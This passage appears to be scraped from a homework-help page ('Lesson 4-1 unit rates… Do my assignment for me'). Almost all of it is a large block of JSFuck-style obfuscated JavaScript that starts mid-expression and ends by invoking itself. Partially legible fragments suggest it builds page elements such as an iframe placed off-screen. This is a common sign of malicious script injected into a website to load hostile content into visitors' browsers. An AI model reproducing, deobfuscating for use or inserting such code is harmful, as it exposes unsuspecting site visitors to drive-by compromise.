[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+(![]+[])[!+[]+!+[]+!+[]]+$[23]+(![]+[])[+[]]+$[13]+$[24]+$[23]+$[25]+$[13]+$[18]+$[23]+$[0]+$[13]+(!![]+[])[!+[]+!+[]]+$[26]+$[25]+$[27]+$[28]+$[18]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[29]+$[30]+$[31]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[33]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+$[25]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+$[25]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[34]+$[36]+$[36]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[26]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[36]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[37]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[35]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[39]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[26]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[32]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[35]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[35]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[36]+([]+[]+{})[!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[40]+$[26]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[26]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[37]+$[9]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[11]+$[40]+$[9]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[34]+$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[45]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[26]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[45]+$[14]+$[25]+$[25]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[45]+$[14]+$[25]+$[25]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[47]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[45]+$[23]+$[25]+$[25]+$[25]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[45]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[45]+$[25]+$[5]+$[34]+$[48]+$[33]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[48]+$[9]+$[6]+$[49])();

Share "Lesson 4-1 unit rates practice and problem solving a/b – Do my assignment for me" via: